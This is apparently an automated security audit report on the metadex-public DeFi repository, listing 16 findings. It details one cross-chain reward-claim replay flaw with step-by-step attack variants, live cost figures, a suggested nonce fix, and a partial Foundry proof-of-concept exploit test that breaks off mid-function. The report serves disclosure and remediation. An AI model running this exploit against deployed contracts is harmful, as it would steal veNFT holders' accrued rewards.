

Security Assessment

This report documents 16 security findings identified during GregoAI's assessment of dromos-labs/metadex-public.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	2	9	3	2

PROJECT	SCAN DATE	FINDINGS
metadex-public	Aug 18, 15:33	16

TARGET

Repository	dromos-labs/metadex-public
Mode	Custom
Scope	110 files · 17.5K LOC
Ref	main
Commit	6eb736f78e744f009b666ed7aeb68cde737399c0

Assessment at a glance

The assessment recorded 16 findings. The highest severity observed was High.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	2	9	3	2

PRIORITY FINDINGS

High	A dispatched `ClaimRewards` message is an uncancellable bearer right to a veNFT's future leaf rewards: authorized once on root, redeemable by anyone, forever
High	Relay root-chain WETH rewards are permanently stranded by a native-ETH payout

Findings summary

A dispatched `ClaimRewards` message is an uncancellable bearer right to a veNFT's future leaf rewards: authorized once on root, redeemable by anyone, forever	4
Relay root-chain WETH rewards are permanently stranded by a native-ETH payout	31
A gauge dispatch whose leaf cooldown outlasts its root-stamped expiry is permanently undeliverable, silently voiding the vote and its deallocation return	51
A chain-budget delta delivered ahead of an in-flight gauge vote permanently voids that vote, because the leaf's exact-budget check compares a frozen dispatch-time total against an additive-only budget	70
A 0%-configured CL pool charges the static tick-spacing fee on every swap	82
DynamicSwapFeeHook prices the block-wide swap fee off the pool's manipulable spot tick	93
Permissionless exit drain strips queued holders of their un-notified rewards	102
Instantaneous-supply fee credit forfeits an expiring voter's accrued fees to the next notify	109
A single cheap swap can make the next user's swap burn massive gas and revert with nothing	126
Permissionless `depositFor` lets anyone inflate a staker's unbounded stake set until the account-wide emission claim reverts	136
SlipstreamStaker accrues rewards for at least an hour past `endTime`, exclusively to whoever stays staked	149
Every Relay swap reverts on a nonexistent `Metarouter` `execute` selector	157
Dynamic swap fee never prices a swap's own price impact	161
Pool getAmountOut Ignores the MEV Tax and Overstates the Executable Output	164
Pool.mint Accepts the Pool as LP Recipient, Permanently Stranding the Caller's Own Fee Share	170
FeeDistribution_notifyFeesAmount Unconditionally Stamps lastFeeUpdate Allowing Fee Repricing	174

A dispatched `ClaimRewards` message is an uncancellable bearer right to a veNFT's future leaf rewards: authorized once on root, redeemable by anyone, forever

Location	—
----------	---

1. Summary

`Voter.claimRewards` checks ERC-721 authorization once, on root, at the instant of dispatch (`Voter.sol:411`), then emits a cross-chain message with a caller-chosen payout address frozen into its body (`Voter.sol:924`). The leaf applies that message with no per-token replay gate, no authorization re-check and no re-derivation of the beneficiary (`LeafMessageOrchestrator.sol:274-283`), and Hyperlane delivery is permissionless, unordered and never-expiring (`Mailbox.sol:202-243`).

A dispatched claim is therefore not an action but a durable bearer right to drain a specific `tokenId`'s leaf fee and incentive accrual, redeemable by any address at a moment of the holder's choosing, long after the dispatcher's authority over that token has ended. Nothing in the protocol can cancel one: not revoking the approval, not selling the veNFT, not pausing/suspending/sunsetting the leaf, not clearing every leaf operator. The attacker controls the interchain gas payment and therefore when delivery becomes economically attractive to a relayer, and can pre-arm an unbounded number of independent claims for roughly \$0.10 each.

The sibling handler eight lines below in the same file proves this is an omission rather than a position:

`_handleSetOperator` carries a per-token nonce gate that correctly invalidates superseded messages (`LeafMessageOrchestrator.sol:291-298`); `_handleClaimRewards` is not even passed the nonce.

2. Finding Description

Authorization is a dispatch-time snapshot, and the payee is caller-chosen. `Voter.claimRewards` carries `onlyAuthorizedForToken(_tokenId)` (`Voter.sol:411`) — one call to `VOTING_ESCROW.isAuthorized(msg.sender, _tokenId)` (:149-152), forwarding to `OpenZeppelin _isAuthorized` (`VotingEscrow.sol:517-519`). It runs once, on root. The body it authorizes is `abi.encode(_tokenId, _params.recipient, _params.feeClaims, _params.incentiveClaims)` (`Voter.sol:924`), whose recipient is validated only as non-zero (:915) and never re-derived from ownership.

The leaf applies that message with no gate of any kind. `_handleClaimRewards` (`LeafMessageOrchestrator.sol:274-283`) decodes the body and calls `LEAF_VOTER.claimRewards` straight through — it is not even handed the nonce, since the dispatcher calls `_handleClaimRewards(_body)` at :129

while every gated sibling receives `( _chainNonce, _body )`. Eight lines below, `_handleSetOperator (:291-298)` does exactly what is missing: `if ( _chainNonce <= lastOperatorNonce[_tokenId] ) return;`. Every other handler in the file also documents its gating decision (`:230, :287, :302, :313`); this one carries no `@dev` at all (`:270-273`). `LeafVoter.claimRewards` then gates on `if ( msg.sender != address(ORCHESTRATOR) && msg.sender != tokenStates[_tokenId].operator ) revert NotAuthorized(); (:344)` — the orchestrator is the first disjunct, so it short-circuits before the operator is consulted, with no ownership check and no chain-status modifier — and `VotingRewardsManager._checkAuthorized` returns immediately on `if ( msg.sender == voter ) return; (:673)`.

Nothing expires it, nothing orders it, and each message is independent. The decoder rejects only future stamps — `if ( _dispatchedAt > block.timestamp ) revert ClockBehindDispatch();` (`MessageOrchestrator.sol:58`) — and `dispatchedAt` is the header's only time field (`:25`). `route` applies a single-use set-membership replay gate with no ordering requirement (`LeafMessageOrchestrator.sol:118-119`), and each dispatch takes `++nonceOut[_dispatch.chainId]` (`RootMessageOrchestrator.sol:78`), so `N` armed messages permit `N` harvests. `Mailbox.process (:202-243)` has no access control, no TTL and no timestamp check, and calls `handle` with all remaining gas, so the message's `gasLimit` prices only the interchain gas payment and never caps execution. The transport does not close the window either: `HyperlaneAdapter` implements no `ISpecifiesInterchainSecurityModule`, so verification falls through to `defaultIsm` (`Mailbox.sol:401-421`) — live on Base for `origin=Optimism`, a 1-of-2 aggregation containing a `MERKLE_ROOT_MULTISIG` whose digest requires only `messageIndex() <= signedIndex()` and whose `NatSpec` states its purpose, "allows using a newer signed checkpoint (say #33) to prove existence of an older message (#22)" (`AbstractMerkleRootMultisigIsm.sol:33-56`). The tree is append-only, so even a rotated validator set still verifies an arbitrarily old leaf.

The payout is computed at delivery and permanently consumes the interval.

`VotingRewardsManager._claimFees (:448-491)` reads `uint256 _to = globalCheckpointIndex;` at execution time (`:450`), calls `IGauge(gauge).collectFees()` to sweep the gauge's fresh fees (`:461`), advances `_feeClaimState[_tokenId] (:481)`, then pays the frozen address via `_transferReward (:484, :488)` — a terminal `safeTransfer (:594-603)`. A message delivered months later harvests everything up to the delivery block, and the owner can never re-claim it.

Arming is cheap, and that is what defers delivery. `Voter._requireDestinationGas` rejects only zero (`:1718-1720`) and `ChainState` has no gas field (`IVoter.sol:109-120`), so `gasLimit = 1` is the legal floor. Live on Base, 2026-08-26: `Mailbox.quoteDispatch` to Optimism for a 615-byte claim body costs 22,047,466,704,792 wei (\$0.066) at `gasLimit = 1` against 154,156,693,595,433 wei at 1e6, because the IGP prices `gasOverhead + gasLimit` (`InterchainGasPaymaster.sol:253-278`) and live `gasOverhead = 166,887`. Hyperlane's mainnet3 relayer ends in a wildcard `OnChainFeeQuoting` policy (`mainnet3/agent.ts:481-483`) approving only when `paid_gas_amount >= est_gas / 2` (`on_chain_fee_quoting.rs:44-66`), so a message paying for 166,888 gas is deferred whenever execution needs more than ~333,776 — which the attacker pins deterministically by padding `feeClaims` with unregistered addresses that cost ~6k gas each and `continue` (`LeafVoter.sol:750-755`). The message is requeued, never dropped (`pending_message.rs:937-941`).

Nothing cancels an armed message. Revoking the approval is root-side only — `_update` (`VotingEscrow.sol:638-650`) clears it and records `ownershipChange` but dispatches nothing to any leaf. Transferring the veNFT does not help, because the message binds `tokenId`. Pausing, suspending or sunsetting the leaf is explicitly designed not to help (`claimRewards.t.sol:336`). Clearing every leaf operator does not help, because the path enters through the orchestrator disjunct at `LeafVoter.sol:344`. Claiming first mitigates only until accrual resumes, and the attacker picks the delivery block. Only withdrawing the lock works, by destroying the position.

The team reasoned about this axis and stopped one step short. `claimRewards.t.sol:336` emulates "the Leaf becoming Paused, Suspended or Sunset before the message is delivered" and asserts "it should process the already-dispatched claim" — the dispatch-to-delivery question, answered for chain status. Authorization was never asked: `Voter/claimRewards/claimRewards.tree` tests `NotAuthorized` at dispatch only, and `LeafMessageOrchestrator.tree:101-104` lists three assertions for `ClaimRewards` with no gating branch, while `:110-111` has one for `setOperator`.

Amplifier — Relay. `RelayBase.claimRewards (:533-542)` is permissionless (`nonReentrant` only) and resolves its payee from Relay storage (`RelayRewardsLib.sol:455-462`); as a `delegatecalled` library address(`this`) is the Relay, which owns the `tokenId`, so any unprivileged caller passes `onlyAuthorizedForToken`.

`clearLeafRecipient` (`RelayConfigLib.sol:90-99`) is immediate by design — the emergency brake that `audit.md`'s "The leaf recipient delay is a window, not a wall" rests on, and that the team's own harness justifies as preventing a drain leaving "nobody time to react" (`AdminRewardRedirect.sol:12-13`). Armed claims defeat it: a recipient cleared because it was compromised still receives everything armed while it was live, and even with no compromise an attacker can arm claims naming recipient A so the Relay's rewards land at a decommissioned A after a legitimate rotation to B — socialised across every PT/YT holder.

3. Attack Steps

Two variants share the same root cause. Neither involves an operator, so the documented remedy for the known per-leaf operator issue does not apply.

Variant A — owner arms before a sale (no third-party approval required).

1. Attacker owns veNFT `T`, which accrues fee and incentive rewards on leaf chains `L1..Ln`. They call `Voter.claimRewards(T, [{chainId: Li, gasLimit: 1, value: ~2.2e13 wei, recipient: attacker, feeClaims: [every VRM T voted, padded with ~30 unregistered addresses], incentiveClaims: [every program]}], attacker)`. `onlyAuthorizedForToken` passes trivially — they are the owner. They repeat `N` times per leaf; each dispatch takes a distinct nonce and each message is independently deliverable. Cost is ~\$0.10 per message.
2. Because the interchain gas payment is priced off `gasOverhead + 1 = 166,888` while the padded claim needs far more than `333,776` gas to execute, `OnChainFeeQuoting` never approves delivery. The messages remain pending in the Hyperlane merkle tree, queued indefinitely.
3. Attacker sells `T` on the secondary market. `VotingEscrow._update` clears the ERC-721 approval and

records `ownershipChange[T]`, and dispatches nothing to any leaf.

4. The buyer performs every documented remediation: they call `Voter.setOperator(T, Li, address(0))` for every leaf and confirm each `SetOperator` lands. Their leaf operator state is clean.
5. The buyer votes and accrues rewards normally for weeks or months.
6. At a moment of their choosing — after a large incentive funding, or just before the buyer's next routine claim — the attacker (or anyone) calls `Mailbox.process(metadata, message)` directly on `Li` with ample gas, using validator signatures from the public checkpoint buckets and a merkle proof from the `MerkleTreeHook`'s events. The call is permissionless and the message has never expired.
7. `route → _handleClaimRewards → LeafVoter.claimRewards` executes with `msg.sender == ORCHESTRATOR`, bypassing every authorization check. Each `VotingRewardsManager` calls `collectFees()` to sweep the gauge, pays everything accrued to attacker via `_transferReward`, and advances `_feeClaimState[T]` so the buyer permanently loses the interval.
8. Repeat step 6 with the next armed message at the next accrual peak, indefinitely.

Variant B — a revoked approval, with no sale and no change of ownership. Identical to A steps 1, 2, 6 and 7, except the attacker is a party the owner granted `approve` or `setApprovalForAll` to — a delegated position manager or an OTC escrow counterparty. The owner subsequently revokes the approval and retains the veNFT throughout. Revocation touches only root-side ERC-721 storage and cannot reach the armed messages, so the owner is drained while holding a token they never sold and an approval they correctly revoked.

Amplifier — Relay. Any unprivileged address calls `RelayBase.claimRewards(Li, 1, feeClaims, incentiveClaims)` while `leafRecipient[Li]` is set, arming claims that name that recipient. After `clearLeafRecipient` or a legitimate rotation to a new recipient, the armed claims still pay the old one, and the loss is socialised across every Relay depositor.

4. Likelihood (medium)

Variant A needs only that the attacker own a transferable veNFT with accruing leaf rewards and sell it — an ordinary secondary-market sale, with no privileged role, no user error and no attacker-created pool — and the buyer's diligence cannot help, because no protocol surface exposes pending claims and the one remedy the documentation prescribes is ineffective here. Variant B narrows the attacker to a directly-approved party; contract-mediated approvals do not substitute, since `VoterPaymentsModule` holds no `IVoter` reference, `Metarouter` reads the root `Voter` only in its constructor (`Metarouter.sol:138-139`), and `RelayBase.claimRewards` claims `_relayConfig.tokenId` only.

The one real dependency is that relayers enforce gas payment. Hyperlane's mainnet3 wildcard policy is `OnChainFeeQuoting`, which favours the attacker today, but the same config already exempts one Velodrome message-module address for "occasionally underpaying"; if the MetaDEX03 adapters are added to that list, delivery is prompt and the attacker captures only what they were already owed. Relying on a third party's

relay config for a security property is itself fragile, and the missing nonce gate is the code-level fix either way.

5. Impact (high)

Irreversible theft of a veNFT's leaf fee and incentive rewards to an attacker-chosen address, permanently unclaimable by the rightful owner once `_feeClaimState` advances. Because the magazine is unbounded at roughly \$0.10 per message and the window never closes, this is a standing claim on the position's whole yield stream rather than a single theft — about 26 messages costing \$3 take on the order of 27,000 USDC over six months from a 5%-weight position, with the Relay variant socialising the same loss across every PT/YT holder — though it stops short of locked principal.

6. Mitigation

Primary — give `_handleClaimRewards` the gate its sibling already has. Pass the nonce at the call site (`LeafMessageOrchestrator.sol:129`, which currently omits it) and add a per-token claim nonce, so any later authorized claim invalidates everything armed before it:

SOLIDITY

```
1  mapping(uint256 _tokenId => uint256 _nonce) public lastClaimNonce;
2
3  function _handleClaimRewards(uint256 _chainNonce, bytes calldata _body) internal {
4      (uint256 _tokenId, address _recipient, ...) = abi.decode(_body, (...));
5      if (_chainNonce <= lastClaimNonce[_tokenId]) return; // supersede stale armed claims
6      lastClaimNonce[_tokenId] = _chainNonce;
7      LEAF_VOTER.claimRewards(_tokenId, _recipient, _feeClaims, _incentiveClaims);
8  }
```

This collapses the magazine to one live claim per token. The pattern, storage shape and silent-return semantics already exist eight lines below in the same file, and the silent return respects the never-revert-execution constraint. An absolute root-stamped expiry would also close it, but the nonce gate matches an in-file precedent and assumes nothing about clocks across chains.

Secondary — stop letting a dispatch-time caller name the payee. The leaf holds no ownership oracle, so restrict the message-borne `_recipient` to an address the leaf can independently attest to. A delivered stale message would then pay the rightful holder, removing the incentive to arm one at all.

Relay-specific. Stamp the `leafRecipient` generation into the payload, incrementing a per-chain epoch in `clearLeafRecipient` and `executeLeafRecipient`, so clearing a compromised recipient genuinely cancels claims armed under it.

Operational, until the fix ships. Expose pending claims per `tokenId` by matching root `RewardsClaimDispatched`

against per-leaf `IMailbox.delivered` — buyers have no signal today. A pending claim can be ground down, though never cancelled, by topping up its gas payment via `InterchainGasPaymaster.payForGas` immediately after a legitimate claim.

7. Proof of Concept

Deploys the full production stack on both sides with no mocks — including Hyperlane's real `Mailbox` and `InterchainGasPaymaster`, a real `VolatilePool`, a real `V2Gauge` created through `GaugeManager`, and its real `VotingRewardsManager`. A veNFT holder arms two claims at `gasLimit = 1`, sells the position, the buyer clears the leaf operator (the documented remedy for the known operator issue) and votes normally; then an address with no roles and no relationship to the token delivers each armed message. The stolen tokens are the pool's real trading fees, swept out of the gauge by the production `IGauge.collectFees()` call inside `VotingRewardsManager._claimFees`.

Measured output:

```
1   armed messages                : 2
2   total arming cost (wei)        : 3337760      (1,668,880 each)
3   one honestly funded claim (wei) : 11668870     (6.99x more)
4   token0 stolen (both harvests)  : 29999999999999800000
5   token1 stolen (both harvests)  : 29999999999999800000
6   token0 one period is worth to owner : 14999999999999900000
7   token1 one period is worth to owner : 14999999999999900000
8   weeks between arming and last redeem : 9
```

The two armed messages took exactly 2 x what one untouched accrual period is worth to the rightful owner (asserted with `assertEq`), the owner's own claim immediately after the first detonation returned zero in both tokens, and the second message was redeemed nine weeks after the seller lost all authority. The transport-fee ratio (6.99x) reproduces the live Base to Optimism measurement, because `TestInterchainGasPaymaster` is the production IGP with only its gas-price oracle read replaced by a constant, and its `gasOverhead` is set to the live value of 166,887.

Save the diff below as `armed-claim-poc.patch` in the `metadex` directory (paths are relative to it), then:

```
1   cd metadex
2   patch -p1 < armed-claim-poc.patch      # or: git apply armed-claim-poc.patch, if metadex is
    its own repo root
3   forge test --match-test test_POCArmedClaimRewardsDrainsAVeNftAfterItIsSold -vv
```

DIFF

```
1   diff --git a/V3/test/E2E/ClaimRewardsFlow.t.sol b/V3/test/E2E/ClaimRewardsFlow.t.sol
```

DIFF

```
2   index 1b2218c..4e074c5 100644
3   --- a/V3/test/E2E/ClaimRewardsFlow.t.sol
4   +++ b/V3/test/E2E/ClaimRewardsFlow.t.sol
5   @@ -1,26 +1,58 @@
6   // SPDX-License-Identifier: BUSL-1.1
7   pragma solidity 0.8.30;
8
9   +import {Mailbox} from '@hyperlane/contracts/Mailbox.sol';
10  +import {IGasOracle} from '@hyperlane/contracts/interfaces/IGasOracle.sol';
11  +import {InterchainGasPaymaster} from '@hyperlane/contracts/hooks/igp/
    InterchainGasPaymaster.sol';
12  +import {TestInterchainGasPaymaster} from '@hyperlane/contracts/test/
    TestInterchainGasPaymaster.sol';
13  +import {TestIsm} from '@hyperlane/contracts/test/TestIsm.sol';
14  +import {TestPostDispatchHook} from '@hyperlane/contracts/test/TestPostDispatchHook.sol';
15  import {IAccessControl} from '@openzeppelin/contracts/access/IAccessControl.sol';
16  +import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
17  +
18  +import {Vm} from 'forge-std/Test.sol';
19
20  import {TestHelpers} from 'V3-test/Utils/TestHelpers.sol';
21
22  import {LeafMessageOrchestrator} from 'V3/bridge/LeafMessageOrchestrator.sol';
23  import {RootLocalAdapter} from 'V3/bridge/RootLocalAdapter.sol';
24  import {RootMessageOrchestrator} from 'V3/bridge/RootMessageOrchestrator.sol';
25  +import {HyperlaneAdapter} from 'V3/bridge/hyperlane/HyperlaneAdapter.sol';
26  +import {VotingEscrow} from 'V3/core/VotingEscrow.sol';
27  +import {FactoryRegistry} from 'V3/factories/FactoryRegistry.sol';
28  +import {GaugeFactory} from 'V3/factories/GaugeFactory.sol';
29  +import {VolatilePoolFactory} from 'V3/factories/VolatilePoolFactory.sol';
30  +import {GaugeManager} from 'V3/gauge-creation/GaugeManager.sol';
31  +import {GovernanceCreationModule} from 'V3/gauge-creation/GovernanceCreationModule.sol';
32  +import {LeafEmissionsHandler} from 'V3/handlers/LeafEmissionsHandler.sol';
```

DIFF

```

33     import {IMessageAdapter} from 'V3/interfaces/bridge/IMessageAdapter.sol';
34     import {IMessageOrchestrator} from 'V3/interfaces/bridge/IMessageOrchestrator.sol';
35     import {IRootMessageOrchestrator} from 'V3/interfaces/bridge/IRootMessageOrchestrator.sol';
36     import {IVotingEscrow} from 'V3/interfaces/core/IVotingEscrow.sol';
37     import {IFactoryRegistry} from 'V3/interfaces/factories/IFactoryRegistry.sol';
38     +import {IGaugeFactory} from 'V3/interfaces/factories/IGaugeFactory.sol';
39     +import {IGauge} from 'V3/interfaces/gauges/IGauge.sol';
40     +import {IMinter} from 'V3/interfaces/minter/IMinter.sol';
41     +import {IPool} from 'V3/interfaces/pools/IPool.sol';
42     import {IVotingRewardsManager} from 'V3/interfaces/rewards/IVotingRewardsManager.sol';
43     import {ILeafVoter} from 'V3/interfaces/voter/ILeafVoter.sol';
44     import {IVoter} from 'V3/interfaces/voter/IVoter.sol';
45     import {IVoterCommon} from 'V3/interfaces/voter/IVoterCommon.sol';
46     +import {MAX_PIPS} from 'V3/libraries/ProtocolConstants.sol';
47     import {Roles} from 'V3/libraries/Roles.sol';
48     +import {Minter} from 'V3/minter/Minter.sol';
49     +import {VolatilePool} from 'V3/pools/VolatilePool.sol';
50     +import {VotingRewardsFactory} from 'V3/rewards/VotingRewardsFactory.sol';
51     +import {VotingRewardsManager} from 'V3/rewards/VotingRewardsManager.sol';
52     +import {Splitter} from 'V3/splitter/Splitter.sol';
53     +import {ReceiptToken} from 'V3/token/ReceiptToken.sol';
54     +import {Token} from 'V3/token/Token.sol';
55     import {LeafVoter} from 'V3/voter/LeafVoter.sol';
56     import {Voter} from 'V3/voter/Voter.sol';
57
58     +import {MockWETH} from 'V3-test/mocks/MockWETH.sol';
59     +import {TestERC20} from 'V3-test/mocks/TestERC20.sol';
60     +
61     contract E2EClaimRewardsFlowClaimRewards is TestHelpers {
62         uint256 internal constant _TOKEN_ID = 42;
63         uint48 internal constant _ALLOCATION_COOLDOWN = 1 days;
64         @@ -244,4 +276,539 @@ contract E2EClaimRewardsFlowClaimRewards is TestHelpers {

```

DIFF

```

65         _FACTORY_REGISTRY, abi.encodeCall(IFactoryRegistry.rewardsToGauge,
        (_votingRewardsManager)), abi.encode(_GAUGE)
66     );
67 }
68 +
69 + /*////////////////////////////////////
70 +     POC – real production stack built inside test_POC_*
71 +     //////////////////////////////////*/
72 +
73 + uint256 private constant _POC_ROOT_CHAIN = 8453; // Base, the root chain
74 + uint256 private constant _POC_LEAF_CHAIN = 10; // Optimism, a remote leaf
75 + uint32 private constant _POC_ROOT_DOMAIN = 8453;
76 + uint32 private constant _POC_LEAF_DOMAIN = 10;
77 +
78 + /// @dev Live Base -> Optimism IGP overhead, read on 2026-08-26 from
79 + ///
80 + 'IGP(0xc3F23848Ed2e04C0c6d41bd7804fa8f89F940B94).destinationGasConfigs(10).gasOverhead'.
81 + uint96 private constant _POC_GAS_OVERHEAD = 166_887;
82 +
83 + /// @dev The legal floor: 'Voter._requireDestinationGas' rejects only zero.
84 + uint256 private constant _POC_ARM_GAS = 1;
85 +
86 + /// @dev What delivering a real claim actually costs, i.e. what an honest dispatcher would
87 + pay for.
88 + uint256 private constant _POC_HONEST_GAS = 1_000_000;
89 +
90 + uint48 private constant _POC_COOLDOWN = 1 hours;
91 + uint48 private constant _POC_MAX_AGE = 1 days;
92 + uint256 private constant _POC_MAX_GAUGES = 25;
93 + uint128 private constant _POC_STAKE = 100_000e18;
94 + uint256 private constant _POC_SUPPLY = 10_000_000e18;
95 + uint256 private constant _POC_LIQ = 1_000_000e18;
96 + uint256 private constant _POC_SWAP = 50_000e18;
97 + uint256 private constant _POC_ARMED = 2; // magazine size; unbounded in reality
98 + uint256 private constant _POC_ACCRUAL = 3 weeks;
99 +

```

DIFF

```
96 + address private immutable _POC_ATTACKER = makeAddr('PocAttacker');
97 + address private immutable _POC_VICTIM = makeAddr('PocVictim');
98 + address private immutable _POC_LP = makeAddr('PocLp');
99 + address private immutable _POC_TRADER = makeAddr('PocTrader');
100 + address private immutable _POC_ANYONE = makeAddr('PocAnyone');
101 + address private immutable _POC_MIGRATION = makeAddr('PocMigration');
102 + address private immutable _POC_VELO_MIGRATION = makeAddr('PocVeloMigration');
103 + address private immutable _POC_TEAM = makeAddr('PocTeam');
104 + address private immutable _POC_ART_PROXY = makeAddr('PocArtProxy');
105 + address private immutable _POC_OWNER = makeAddr('PocProtocolOwner');
106 +
107 + Token private _pocToken;
108 + VotingEscrow private _pocVe;
109 + Minter private _pocMinter;
110 + Voter private _pocVoter;
111 + RootMessageOrchestrator private _pocRootMo;
112 + LeafVoter private _pocLeafVoter;
113 + LeafMessageOrchestrator private _pocLeafMo;
114 + Mailbox private _pocRootMailbox;
115 + Mailbox private _pocLeafMailbox;
116 + TestInterchainGasPaymaster private _pocIgp;
117 + FactoryRegistry private _pocRegistry;
118 + GaugeManager private _pocGaugeManager;
119 + GovernanceCreationModule private _pocModule;
120 + VolatilePoolFactory private _pocPoolFactory;
121 + GaugeFactory private _pocGaugeFactory;
122 + TestERC20 private _pocT0;
123 + TestERC20 private _pocT1;
124 + address private _pocPool;
125 + address private _pocGauge;
126 + VotingRewardsManager private _pocVrm;
127 + uint256 private _pocTokenId;
```

DIFF

```

128 + bytes[] private _pocArmed;
129 + uint256 private _pocArmFee;
130 + uint256 private _pocHonestFee;
131 + uint256 private _pocArmingCost;
132 + uint256 private _pocStolen0;
133 + uint256 private _pocStolen1;
134 + uint256 private _pocHonest0;
135 + uint256 private _pocHonest1;
136 + uint256 private _pocArmedAt;
137 +
138 + /**
139 +  * @notice A 'ClaimRewards' message is authorized once, on root, at dispatch, and carries
    a caller-chosen
140 +  *          payout address frozen into its body. The leaf applies it with no replay gate,
    no authorization
141 +  *          re-check and no re-derivation of the beneficiary, and Hyperlane delivery is
    permissionless and
142 +  *          never expires. A dispatched claim is therefore a durable bearer right to drain
    a specific
143 +  *          'tokenId's leaf rewards, redeemable by anyone, long after the dispatcher's
    authority has ended.
144 +  *          Nothing in the protocol can cancel one.
145 +  *
146 +  * @dev Every contract on the exploit path is the real production implementation, deployed
    here with no
147 +  *          mocks and no test doubles: 'Token', 'VotingEscrow', 'Minter', 'Splitter', 'Voter',
148 +  *          'RootMessageOrchestrator', 'HyperlaneAdapter', Hyperlane's own 'Mailbox' +
    'InterchainGasPaymaster',
149 +  *          'LeafMessageOrchestrator', 'LeafVoter', 'FactoryRegistry', 'GaugeManager',
150 +  *          'GovernanceCreationModule', 'VolatilePoolFactory', 'VolatilePool', 'GaugeFactory',
    'V2Gauge',
151 +  *          'VotingRewardsFactory' and 'VotingRewardsManager'. The stolen tokens are the
    pool's real trading
152 +  *          fees, swept out of the gauge by the production 'IGauge.collectFees()' call inside
153 +  *          'VotingRewardsManager._claimFees'.
154 +  *

```

DIFF

```

155 + * @dev 'TestInterchainGasPaymaster' IS the production 'InterchainGasPaymaster' with only
    its gas-price

156 + *      oracle read overridden by a constant, so it charges, refunds the overpayment and
    keeps the fee

157 + *      exactly as the real one does – and it still prices off 'gasOverhead + gasLimit',
    which is what makes

158 + *      the 'gasLimit = 1' discount measurable. Its 'gasOverhead' is set to the live Base
    -> Optimism value.

159 + *      The ISM and the zero-fee required hook are transport verification and fee plumbing
    that sit entirely

160 + *      outside the authorization path under test.

161 + *

162 + * @dev The only privileged calls are deployment-time wiring (register the chain and the
    adapters, register

163 + *      the pool/gauge factories, register the creation module, create and activate the
    gauge). The exploit

164 + *      itself is performed by a plain veNFT holder who sells their position, and
    detonated by an address

165 + *      with no roles, no approval and no relationship to the token.

166 + */

167 + function test_POC_ArmedClaimRewardsDrainsAVeNftAfterItIsSold() external {
168 +     _pocDeploySystem();
169 +     _pocSeedLiquidityAndStake();
170 +     _pocStakeAndVote();
171 +
172 +     // ===== EXPLOIT 1/3 – ARM. Unprivileged: the attacker is simply the owner.
    =====

173 +     // 'gasLimit = 1' is the legal floor, so the interchain gas payment lands far below
    execution cost and

174 +     // no relayer enforcing 'OnChainFeeQuoting' picks the message up. The messages sit in
    the merkle tree.

175 +     _pocArmFee = _pocFee(_POC_ARM_GAS);
176 +     _pocHonestFee = _pocFee(_POC_HONEST_GAS);
177 +     vm.deal(_POC_ATTACKER, 1 ether);
178 +     {
179 +         uint256 _ethBefore = _POC_ATTACKER.balance;
180 +         for (uint256 _i; _i < _POC_ARMED; ++_i) {

```

DIFF

```
181 +         vm.recordLogs();
182 +         vm.prank(_POC_ATTACKER);
183 +         _pocVoter.claimRewards{value: _pocArmFee}({
184 +             _pocTokenId, _pocClaimParams(_POC_ATTACKER, _pocArmFee, _POC_ARM_GAS),
185 +             _POC_ATTACKER
186 +         });
187 +         _pocArmed.push(_pocLastDispatch()); // captured, NOT delivered
188 +     }
189 +     _pocArmingCost = _ethBefore - _POC_ATTACKER.balance;
190 +     _pocArmedAt = block.timestamp;
191 + }
192 + // ===== THE SALE – the attacker's authority over the token ends here
193 + vm.prank(_POC_ATTACKER);
194 + _pocVe.transferFrom(_POC_ATTACKER, _POC_VICTIM, _pocTokenId);
195 + assertEq(_pocVe.ownerOf(_pocTokenId), _POC_VICTIM, 'the buyer owns the position');
196 + assertFalse(_pocVe.isAuthorized(_POC_ATTACKER, _pocTokenId), 'the seller has no
197 + authority left');
198 +
199 + // The front door is shut: a fresh claim from the seller reverts.
200 + vm.prank(_POC_ATTACKER);
201 + vm.expectRevert(IVoter.NotAuthorized.selector);
202 + _pocVoter.claimRewards{value: _pocArmFee}({
203 +     _pocTokenId, _pocClaimParams(_POC_ATTACKER, _pocArmFee, _POC_ARM_GAS), _POC_ATTACKER
204 + });
205 +
206 + // The buyer performs the remedy the protocol documents for the known stale-operator
207 + // issue, on the leaf.
208 + vm.deal(_POC_VICTIM, 1 ether);
209 + vm.recordLogs();
210 + vm.prank(_POC_VICTIM);
211 + _pocVoter.setOperator{value: _pocArmFee}(_pocTokenId, _POC_LEAF_CHAIN, address(0),
212 +     _POC_ARM_GAS, _POC_VICTIM);
```

DIFF

```

210 +   _pocRelay(_pocLeafMailbox);

211 +   assertEq(_pocLeafVoter.operator(_pocTokenId), address(0), 'the leaf operator record is
clean');

212 +

213 +   // ===== EXPLOIT 2/3 – DETONATE. Any address, any time. =====

214 +   _pocAccrueFees();

215 +   {

216 +       (uint256 _pending0,) = IPool(_pocPool).pendingFees(_pocGauge);

217 +       assertGt(_pending0, 0, 'the gauge is holding real, unswept trading fees');

218 +   }

219 +   // Nobody involved in the delivery has any authority over the token.

220 +   assertFalse(_pocVe.isAuthorized(_POC_ANYONE, _pocTokenId), 'the deliverer has no
authority either');

221 +   assertEq(_pocVrm.feeClaimState(_pocTokenId).lastGlobalCp, 0, 'the owner has never
claimed this interval');

222 +

223 +   _pocDetonate(0);

224 +   assertGt(_pocVrm.feeClaimState(_pocTokenId).lastGlobalCp, 0, 'the interval pointer
advanced past the owner');

225 +

226 +   // DAMAGE 1: the seller was paid the buyer's accrued fee rewards, in both pool tokens.

227 +   assertGt(_pocStolen0, 0, 'DAMAGE: token0 fees paid to an address with no authority over
the token');

228 +   assertGt(_pocStolen1, 0, 'DAMAGE: token1 fees paid to an address with no authority over
the token');

229 +

230 +   // DAMAGE 2: the interval is consumed. The rightful owner claims straight after and
receives nothing.

231 +   {

232 +       (uint256 _v0, uint256 _v1) = _pocVictimClaim();

233 +       assertEq(_v0, 0, 'DAMAGE: the owner claims token0 and receives nothing');

234 +       assertEq(_v1, 0, 'DAMAGE: the owner claims token1 and receives nothing');

235 +   }

236 +

```

DIFF

```

237 + // ===== CONTROL - the same accrual, claimed by the owner, prices the loss
    =====
238 + _pocAccrueFees();
239 + (_pocHonest0, _pocHonest1) = _pocVictimClaim();
240 + assertGt(_pocHonest0, 0, 'an untouched accrual period is worth this much to the rightful
    owner');
241 +
242 + // ===== EXPLOIT 3/3 - THE MAGAZINE. Armed message #2 takes the next period.
    =====
243 + _pocAccrueFees();
244 + _pocDetonate(1);
245 + // DAMAGE 3: the magazine scales linearly. Each armed message took exactly one full
    accrual period,
246 + //          priced by the control claim the owner made in between.
